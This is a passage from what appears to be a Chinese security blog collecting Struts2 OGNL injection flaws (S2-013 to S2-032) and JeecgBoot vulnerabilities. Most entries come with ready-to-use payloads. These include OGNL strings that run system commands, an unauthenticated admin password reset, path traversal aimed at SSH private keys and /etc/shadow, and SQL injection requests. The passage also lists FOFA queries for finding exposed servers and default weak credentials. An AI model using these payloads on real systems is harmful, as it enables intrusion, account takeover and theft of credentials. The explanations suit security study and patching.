/tmp/s2013\"))&#125;</span></span></code></pre>\n<p>面对S2-013，官方的修复思路是在<code>UrlHelper</code>中处理参数时，限制了对<code>%</code>和<code>$</code>以及某些特定字符的解析，不过依然可以像S2-003/005一样使用用过的AST语法评估技巧（比如用括号包裹）或者稍微变换一下OGNL的语法结构就能绕过</p>\n<h2 id=\"s2-015\"><a class=\"anchor\" href=\"#s2-015\">#</a> S2-015</h2>\n<p>这个漏洞的诞生为：<strong>通配符映射</strong></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-xml\"><span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">action</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> name</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">*</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> class</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">com.demo.UserAction</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">result</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> name</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">success</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">></span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">/</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">1</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">.jsp</span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">/</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">result</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">/</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">action</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span></code></pre>\n<p>在这段代码中，如果用户访问<code>login.action</code>，<code>*</code>就变成了<code>login</code>，系统最终会跳转到<code>login.jsp</code>，如果访问<code>register.action</code>，最终就会跳转到<code>register.jsp</code></p>\n<p>这样操作的结果会导致盲目地信任来自URL的输入，并在内部跳转时对这个输入进行二次解析：</p>\n<p>如果访问<code>/$&#123;2+2&#125;.action</code>，那么<code>&#123;1&#125;</code>就被替换为了<code>$&#123;2+2&#125;</code>，struts2中的<code>TextParseUtil</code>类在寻找这个JSP文件的物理路径时没发现字符串里面包含<code>$&#123;...&#125;</code>就会认为这是一个动态表达式，最终唤醒OGNL引擎对Action名字进行计算，最终就变成了<code>4.jsp</code></p>\n<p>由于攻击payload是作为URL路径的一部分发送的，它必须先经过web容器的解析才能到达struts2框架，现代web容器对URL的字符限制极其严格，URL中通常不允许出现空格，反斜杠，双引号等特殊字符，如果直接把包含这些字符的OGNL表达式写在Action里面，Tomcat就会直接抛出<code>400 Bad Request</code>或<code>Invalid URL</code></p>\n<p>所以在写payload时通常会舍弃双引号和空格，大量使用OGNL的内置编码转换函数（比如将命令转成ASCII码数组再还原），或者利用参数池进行变量传递</p>\n<p>还有需要说明的就是在Struts 2.3.14.1 - Struts 2.3.14.2的更新内容中，删除了SecurityMemberAccess类中的setAllowStaticMethodAccess方法，因此在2.3.14.2版本以后都不能直接通过<code>#_memberAccess['allowStaticMethodAccess']=true</code>来修改其值达到重获静态方法调用的能力。</p>\n<p>影响范围：2.0.0 - 2.3.14.2</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># payload</span></span>\n<span class=\"line\"><span>#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true)</span></span></code></pre>\n<h2 id=\"s2-016\"><a class=\"anchor\" href=\"#s2-016\">#</a> S2-016</h2>\n<p>在Struts2的核心架构中，每有一个HTTP请求时，都需要<code>DefaultActionMapper</code>解析请求决定调用哪个Action，默认情况下：<code>DefaultActionMapper</code>允许通过特殊的参数名来强行改变服务器的执行流程，其中有三个前缀是：</p>\n<p><code>action</code>：强行执行另一个Action</p>\n<p><code>redirect</code>：强行重定向到一个外部URL</p>\n<p><code>redirectAction</code>：强行重定向到另一个Action</p>\n<p>如果网页里一个button的提交表单里面带了一个参数<code>refirect:http://www.google.com</code>，服务器收到之后就会中断当前流程直接让浏览器跳转到Google</p>\n<p>不过为了支持动态生成跳转链接，<code>redirect</code>和<code>redirectAction</code>会对前缀冒号后面的内容进行OGNL表达式解析，所以只需要<code>.action?redirect=$&#123;...&#125;</code>就可以了</p>\n<p>影响范围：2.0.0 - 2.3.15</p>\n<p>\n<pre class=\"payload-code\"><code># payload\nredirect:$&#123;#context[\"xwork.MethodAccessor.denyMethodExecution\"]=false,#f=#_memberAccess.getClass().getDeclaredField(\"allowStaticMethodAccess\"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec(\"uname -a\").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get(\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()&#125;\n</code></pre>\n</p>\n<p>它同时支持<code>$&#123;&#125;</code>和<code>%&#123;&#125;</code>两种闭合方式</p>\n<h2 id=\"s2-019\"><a class=\"anchor\" href=\"#s2-019\">#</a> S2-019</h2>\n<p>这个漏洞依然发生在<code>DefaultActionMapper</code>里，不过关键在于：<strong>动态方法调用</strong></p>\n<p>struts2提供了一个极其灵活的功能：DMI，只要在配置文件中开启<code>struts.enable.DynamicMethodInvocation = true</code>（早期版本中这个选项默认开启），前端就能通过URL直接指定要调用Action里的哪个方法</p>\n<p>语法就是使用<code>!</code>分隔：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>http://127.0.0.1/UserAction!login.action</span></span></code></pre>\n<p>服务器收到请求之后就会去<code>UserAction</code>类里面直接执行<code>login</code>方法</p>\n<p>当请求发送到服务器之后，<code>DefaulActionMapper</code>会把<code>!</code>后面的字符串（方法名）提取出来，但是在处理这个提取出来的方法名时会对这个方法名进行OGNL评估</p>\n<p>\n<pre class=\"payload-code\"><code># payload\nhttp://127.0.0.1:8080/example/HelloWorld!%&#123;#req=#context.get('co'm.open'symphony.xwo'rk2.disp'atcher.HttpSer'vletReq'uest'),#res=#context.get('co'm.open'symphony.xwo'rk2.disp'atcher.HttpSer'vletRes'ponse'),#res.getWriter().print(\"Ognl_Pwned_By_ZLARYY\"),#res.getWriter().flush(),#res.getWriter().close()&#125;.action\n</code></pre>\n</p>\n<h2 id=\"s2-032cve-2016-3081\"><a class=\"anchor\" href=\"#s2-032cve-2016-3081\">#</a> S2-032（CVE-2016-3081）</h2>\n<p>官方在S2-016之后删除了<code>redirect</code>和<code>redirectAction</code>这两个前缀，但是保留了<code>method:</code>前缀，如果开启了DMI：<code>struts.enable.DynamicMethodInvocation = true</code>，前端就可以通过在HTTP请求的参数名中使用<code>method:</code>来制定调用的方法，比如：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>http://127.0.0.1:8080/index.action?method:login</span></span></code></pre>\n<p>这行请求会让<code>DefaultActionMapper</code>去执行Action里的<code>login</code>方法</p>\n<p>类似的，struts2在解析<code>method:</code>冒号后面的字符串时也会对这个字符串进行OGNL评估</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># payload</span></span>\n<span class=\"line\"><span> http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS ,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&#x26;pp=%5C%5CA&#x26;ppp=%20&#x26;encoding=UTF-8&#x26;cmd=id</span></span></code></pre>\n<h1 id=\"jeecg-boot\"><a class=\"anchor\" href=\"#jeecg-boot\">#</a> jeecg-boot</h1>\n<p>参考：<a href=\"https://www.freebuf.com/articles/web/436956.html\">Jeecg-boot常见漏洞汇总 - FreeBuf网络安全行业门户</a></p>\n<p><a href=\"https://blog.csdn.net/weixin_73489343/article/details/153415426\">Jeecg漏洞汇总（非常全）附全新扫描工具（JeecgGo）-CSDN博客</a></p>\n<p>JeecgBoot是一款集成AI应用的，基于BPM流程的低代码平台，旨在帮助企业快速实现低代码开发和构建个性化AI应用！前后端分离架构Ant Design&amp;Vue3，SpringBoot，SpringCloud Alibaba，Mybatis-plus，Shiro。强大的代码生成器让前后端代码一键生成，无需写任何代码！ 引领AI低代码开发模式: AI生成-&gt;OnlineCoding-&gt; 代码生成-&gt; 手工MERGE， 帮助Java项目解决80%的重复工作，让开发更多关注业务，提高效率、节省成本，同时又不失灵活性！低代码能力：Online表单、表单设计、流程设计、Online报表、大屏/仪表盘设计、报表设计; AI应用平台功能：AI知识库问答、AI模型管理、AI流程编排、AI聊天等，支持含ChatGPT、DeepSeek、Ollama等多种AI大模型。</p>\n<p>可以通过以下语法搜索可能带有jeecg-boot的服务器：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>fofa:</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>body=\"/sys/common/pdf/pdfPreviewIframe\"</span></span>\n<span class=\"line\"><span>title=\"Jeecg-Boot 快速开发平台\" || body=\"积木报表\"</span></span>\n<span class=\"line\"><span>body=\"jeecg-boot\"</span></span>\n<span class=\"line\"><span>app=\"JEECG\"</span></span>\n<span class=\"line\"><span>icon_hash=\"1380908726\"</span></span>\n<span class=\"line\"><span>icon_hash=\"-250963920\"</span></span></code></pre>\n<p>第二篇参考文章中给了一个自动扫描jeecg-boot漏洞的项目：<a href=\"https://github.com/Msup5/JeecgGo\">Msup5/JeecgGo: JeecgBoot Go版本综合漏洞检测工具</a></p>\n<h2 id=\"常见弱口令漏洞\"><a class=\"anchor\" href=\"#常见弱口令漏洞\">#</a> 常见弱口令漏洞</h2>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>admin/123456</span></span>\n<span class=\"line\"><span>jeecg/123456</span></span>\n<span class=\"line\"><span>admn/admin</span></span>\n<span class=\"line\"><span>test/test</span></span>\n<span class=\"line\"><span>demo/test</span></span>\n<span class=\"line\"><span>jeecg/jeecg123456</span></span>\n<span class=\"line\"><span>guest/guest</span></span></code></pre>\n<h2 id=\"jeecgboot-passwordchange接口任意用户密码重置\"><a class=\"anchor\" href=\"#jeecgboot-passwordchange接口任意用户密码重置\">#</a> JeecgBoot passwordChange接口任意用户密码重置</h2>\n<p><code>JeecgBoot passwordChange</code>接口任意用户密码重置是一个结合了未授权访问和水平越权的漏洞</p>\n<p>这个漏洞的接口在<code>/jeecg-boot/sys/user/passwordChange</code>（或基于其路由规则的类似路径）</p>\n<ol>\n<li>Token校验失效或配置不当（未授权访问）：在<code>Jeecg-boot</code>的部分版本或默认配置中，该接口可能被错误地加入了鉴权白名单(anon)，或者其底层的Token验证机制存在逻辑缺陷，导致即使攻击者不提供有效的<code>X-Access-Token</code>请求头，依然能触达底层的密码修改业务</li>\n<li>身份盲目信任（水平越权）：当业务代码处理密码请求时，它仅仅依赖前端传入的请求参数去数据库执行<code>UPDATE</code>更新操作，系统后端没有去校验当前发起请求的用户（Token解析出的真实用户）身份是否与被修改密码的用户（传入的username参数）完全一致</li>\n</ol>\n<p>所以可以构造一个http请求访问<code>/sys/user/passwordChange</code>接口的请求报文，在请求体的<code>JSON</code>或表单数据中，强行制定<code>username: admin</code>以及<code>password: ZLARYY</code>，这样请求发出去之后管理员admin的密码就会变成<code>ZLARYY</code></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># payload</span></span>\n<span class=\"line\"><span>GET /jeecg-boot/sys/user/passwordChange?username=admin&#x26;password=admin&#x26;smscode=&#x26;phone= HTTP/1.1</span></span>\n<span class=\"line\"><span>Host: </span></span>\n<span class=\"line\"><span>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0</span></span>\n<span class=\"line\"><span>Accept: */*</span></span>\n<span class=\"line\"><span>Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span></span>\n<span class=\"line\"><span>Accept-Encoding: gzip, deflate, br</span></span>\n<span class=\"line\"><span>Connection: keep-alive</span></span></code></pre>\n<h2 id=\"jeecg-boot-checkonlyuser信息泄露漏洞\"><a class=\"anchor\" href=\"#jeecg-boot-checkonlyuser信息泄露漏洞\">#</a> jeecg-boot-checkOnlyUser信息泄露漏洞</h2>\n<p><code>jeecg-boot-checkOnlyUser</code>信息泄露漏洞(CVE-2021-37306)是早期版本Jeecg-boot中的信息泄露漏洞（Jeecg-boot &lt;= 2.4.5），其涉及的接口是<code>/jeecg-boot/sys/user/checkOnlyUser</code>或<code>/sys/user/checkOnlyUser</code></p>\n<p>在<code>Jeecg-boot</code>业务逻辑中，<code>checkOnlyUser</code>接口原本是提供给前端做表单校验用的，比如检查输入的<code>username</code>等是否被别人占用，在<code>Jeecg-boot 2.4.5</code>及以前的版本中，错误地将这个接口加入了免密访问白名单（anon）</p>\n<p>这就导致不提供任何Token的情况下，直接向该接口发送请求，通过不断替换<code>username</code>的参数，根据服务器返回的<code>true</code>和<code>false</code>状态判断是否存在某个账号，从而实现用户名字典枚举</p>\n<p>与其搭配的是CVE-2021-37305：<strong><code>querySysUser</code></strong>，这个接口可以将指定用户完整数据库记录以JSON格式全部脱出，拿到Hash和Salt之后就可以直接在本地破解管理员密码</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># payload</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/user/checkOnlyUser?username=admin</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>Jeecg-Boot 2.4.5及之前版本存在不安全权限漏洞。攻击者可利用该漏洞通过uri:/sys/user/querySysUser?username=admin提升权限并查看敏感信息。</span></span></code></pre>\n<h2 id=\"jeecg-boot-目录遍历漏洞\"><a class=\"anchor\" href=\"#jeecg-boot-目录遍历漏洞\">#</a> jeecg-boot-目录遍历漏洞</h2>\n<p>通常出现问题的接口为：<code>/sys/common/view/&#123;filename&#125;</code>（文件预览/图片查看接口）、<code>/sys/common/download</code>（文件下载接口）</p>\n<p>当服务器接收到前端传来的<code>filename</code>参数时，后端的代码逻辑通常是将”基础上传目录“与”传入的文件名“进行拼接：<code>File file = new File(baseUploadPath,filename)</code></p>\n<p>如果后端没有对传入的<code>filename</code>包含特殊字符进行过滤就可以传入<code>../</code>进行目录穿越</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># payload</span></span>\n<span class=\"line\"><span>GET /jeecg-boot/sys/common/view/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fapplication-prod.yml HTTP/1.1</span></span>\n<span class=\"line\"><span>Host: target.com</span></span></code></pre>\n<p>可以尝试读取的内容有：<code>application.yml</code>、<code>application-prod.yml</code>、<code>/root/.ssh/id_rsa</code>（可以获取服务器的SSH私钥，尝试直接远程登录服务器）、<code>/etc/shadow</code>或<code>/etc/passwd</code></p>\n<p>还有一种类型：<strong>Jeecg-Boot 任意目录遍历/文件树信息泄露漏洞</strong></p>\n<p>通常接口是：<code>/jeecg-boot/online/cgform/head/fileTree</code></p>\n<p>其逻辑为前端传入一个路径<code>parentPath</code>，后端就去服务器上读取这个路径下的所有文件夹和文件名，比如：<code>parentPath=/</code>(Linux)，<code>parentPath=C:\\</code>(Windows)，既没有沙箱限制读取目录也没有严格的权限控制</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># payload</span></span>\n<span class=\"line\"><span>/jeecg-boot/online/cgform/head/fileTree?_t=1632524014&#x26;parentPath=/</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>低权限账号访问直接返回服务器文件目录信息</span></span></code></pre>\n<h2 id=\"jeecg-boot-344-sysdictquerytabledata-sql注入\"><a class=\"anchor\" href=\"#jeecg-boot-344-sysdictquerytabledata-sql注入\">#</a> Jeecg-boot 3.4.4 /sys/dict/queryTableData SQL注入</h2>\n<p>为了让底层的SQL语句能动态地接收<code>tableName</code>，<code>textColumn</code>，<code>codeColumn</code>三个参数，MyBatis的预编译语法<code>#&#123;&#125;</code>只能用于安全地绑定数据值（如<code>WHERE id = ?</code>），不能用来绑定表名或者列名，为了实现功能所以采用<code>$&#123;&#125;</code>语法，<code>$&#123;&#125;</code>的底层机制是原封不动地进行字符串拼接：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>SELECT $&#123;textColumn&#125; AS text, $&#123;codeColumn&#125; AS value FROM $&#123;tableName&#125;</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># payload</span></span>\n<span class=\"line\"><span>/jeecg-boot/sys/dict/queryTableData?pageSize=100&#x26;table=information_schema.tables&#x26;text=table_name&#x26;code=TABLE_SCHEMA</span></span></code></pre>\n<h2 id=\"jeecgboot-onldragdatasetheadgettotaldata-sql注入\"><a class=\"anchor\" href=\"#jeecgboot-onldragdatasetheadgettotaldata-sql注入\">#</a> JeecgBoot onlDragDatasetHead/getTotalData SQL注入</h2>\n<p>这是<code>JeecgBoot/JimuReport</code>仪表盘模块中的一个未授权SQL注入，CVE编号为<code>CVE-2024-48307</code>，<code>JeecgBoot v3.7.1</code>的<code>/onlDragDatabaseHead/getTotalData</code>组件存在SQL注入，实际常见路径是带项目上下文和<code>drag</code>前缀的<code>/jeecg-boot/drag/onlDragDatabaseHead/getTotalData</code></p>\n<p><code>onlDragDatabaseHead/getTotalData</code>这个接口属于<code>JeecgBoot</code>集成的<code>JimuReport/JimuBI</code>仪表盘大屏模块，它支持报表、仪表盘、大屏设计，用户可以通过拖拽组件完成数据展示，相关权限也说明了<code>drag:design:getTotalData</code>，说明这个接口本来就是给仪表盘获取Online表单展示数据用的，其正常业务逻辑大概是<strong>前端告诉后端要查询的tableName、filedName、filter和用什么维度、指标、统计字段</strong></p>\n<p>利用点主要围绕JSON请求体里的参数：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>tableName</span></span>\n<span class=\"line\"><span>config.name[].fieldName</span></span>\n<span class=\"line\"><span>config.value[].fieldName</span></span>\n<span class=\"line\"><span>condition / filter</span></span></code></pre>\n<p>如果这些参数被后端直接拼接<code>select 字段 from 表名 where 条件</code>那么就会造成SQL注入</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># payload</span></span>\n<span class=\"line\"><span>POST /jeecg-boot/drag/onlDragDatasetHead/getTotalData HTTP/2</span></span>\n<span class=\"line\"><span>Host: </span></span>\n<span class=\"line\"><span>Accept-Encoding: gzip, deflate</span></span>\n<span class=\"line\"><span>Accept: */*</span></span>\n<span class=\"line\"><span>Accept-Language: en-US;q=0.9,en;q=0.8</span></span>\n<span class=\"line\"><span>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36</span></span>\n<span class=\"line\"><span>Content-Type: application/json</span></span>\n<span class=\"line\"><span>Content-Length: 281</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>&#123;\"tableName\":\"sys_user\",\"compName\":\"test\",\"condition\":&#123;\"filter\":&#123;&#125;&#125;,\"config\":&#123;\"assistValue\":[],\"assistType\":[],\"name\":[&#123;\"fieldName\":\"concat(0x7e,version(),0x7e)\",\"fieldType\":\"string\"&#125;,&#123;\"fieldName\":\"id\",\"fieldType\":\"string\"&#125;],\"value\":[&#123;\"fieldName\":\"id\",\"fieldType\":\"1\"&#125;],\"type\":[]&#125;&#125;</span></span></code></pre>\n<h2 id=\"jeecg-boot-getdictitemsbytable-sql注入漏洞\"><a class=\"anchor\" href=\"#jeecg-boot-getdictitemsbytable-sql注入漏洞\">#</a> jeecg-boot-getDictItemsByTable SQL注入漏洞</h2>\n<p><code>jeecg-boot-getDictItemsByTable</code>SQL注入漏洞本质上是<code>JeecgBoot</code>早期“动态字典查询接口”把用户传入的表名、显示字段、值字段直接拼接进SQL，其常见的漏洞接口形式为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/jeecg-boot/sys/ng-alain/getDictItemsByTable/&#123;table&#125;/&#123;key&#125;/&#123;value&#125;</span></span></code></pre>\n<p>这个接口原本是给前端组件加载“字典项”用的，比如需要从某张表里面查数据：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>表名：sys_depart</span></span>\n<span class=\"line\"><span>显示字段：depart_name</span></span>\n<span class=\"line\"><span>值字段：id</span></span></code></pre>\n<p>后端就会查询类似：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>select depart_name as label, id as value from sys_depart</span></span></code></pre>\n<p>最终获得前端指定表、指定字段里取得的字典数据</p>\n<p>但是在后端里面，<code>table</code>、<code>key</code>、<code>value</code>并不是作为普通值传入SQL，而是被原样替换到SQL结构里面，用的还是MyBatis的<code>$&#123;&#125;</code>字符串拼接，而不是安全参数绑定</p>\n<p>之前我们也提到过MyBatis的<code>$&#123;&#125;</code>，它表示字符串直接拼接，在MyBatis中还有一种写法<code>#&#123;&#125;</code>表示作为参数占位符，由预编译处理，所以相对来说<code>#&#123;&#125;</code>会安全些</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># payload</span></span>\n<span class=\"line\"><span>GET /jeecg-boot/sys/ng-alain/getDictItemsByTable/'%20from%20sys_user/*,%20'/x.js HTTP/1.1</span></span>\n<span class=\"line\"><span>Host: </span></span>\n<span class=\"line\"><span>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0</span></span>\n<span class=\"line\"><span>Accept: */*</span></span>\n<span class=\"line\"><span>Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span></span>\n<span class=\"line\"><span>Accept-Encoding: gzip, deflate, br</span></span>\n<span class=\"line\"><span>Sec-Purpose: prefetch</span></span>\n<span class=\"line\"><span>Connection: close</span></span>\n<span class=\"line\"><span>Priority: u=6</span></span></code></pre>\n<h2 id=\"jeecg-boot-jmreportshow-sql注入漏洞\"><a class=\"anchor\" href=\"#jeecg-boot-jmreportshow-sql注入漏洞\">#</a> Jeecg-Boot /jmreport/show SQL注入漏洞</h2>\n<p>该漏洞是<code>JeecgBoot</code>集成的<code>JimuReport</code>积木报表模块中的一个报表预览接口注入问题，主要出现在<code>JeecgBoot 3.5.0、3.5.1</code>，其主要表现为<code>/jeecg-boot/jmreport/show</code>组件存在SQL注入</p>\n<p><code>jmreport/show</code>这个接口属于<code>JimuReport</code>报表的预览/展示接口，其正常业务逻辑为前端点击“预览报表”之后，服务器端请求<code>jeecg-boot/jmreport/show</code>，后端根据报表的id寻找报表配置，进而读取报表里配置的数据源SQL，然后把前端传入的查询参数带入SQL，最后执行SQL返回报表数据</p>\n<p>其问题出现在<code>/jeecg-boot/jmreport/show</code>接口存在未授权SQL注入，在报表展示逻辑中，后端会进入<code>jmReportDesignService.show</code>，随后调用报表数据查询逻辑，其动态SQL类似<code>select * from ... where id='$&#123;id&#125;'</code>，说明参数以模版替换形式进入SQL</p>\n<p>在<code>JeecgBoot 3.5.3</code>的<code>/jeecg-boot/jmreport/show</code>接口中仍存在SQL注入问题，并且可以通过布尔盲注绕过防护</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># payload</span></span>\n<span class=\"line\"><span>POST /jeecg-boot/jmreport/show HTTP/1.1</span></span>\n<span class=\"line\"><span>Host: </span></span>\n<span class=\"line\"><span>User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36</span></span>\n<span class=\"line\"><span>Connection: close</span></span>\n<span class=\"line\"><span>Content-Length: 182</span></span>\n<span class=\"line\"><span>Content-Type: application/json;charset=UTF-8</span></span>\n<span class=\"line\"><span>Accept-Encoding: gzip</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>&#123;</span></span>\n<span class=\"line\"><span>\"id\": \"961455b47c0b86dc961e90b5893bff05\",</span></span>\n<span class=\"line\"><span>\"apiUrl\": \"\",</span></span>\n<span class=\"line\"><span>\"params\": &#123;</span></span>\n<span class=\"line\"><span>\"id \": \"1 ' or ' % 1 % ' like (updatexml(0x3a,concat(1,(version())),1)) or ' % % ' like '\"</span></span>\n<span class=\"line\"><span>&#125;</span></span>\n<span class=\"line\"><span>&#125;</span></span></code></pre>\n<h2 id=\"jeecg-boot-sysduplicatecheck-sql注入\"><a class=\"anchor\" href=\"#jeecg-boot-sysduplicatecheck-sql注入\">#</a> jeecg-boot sys/duplicate/check 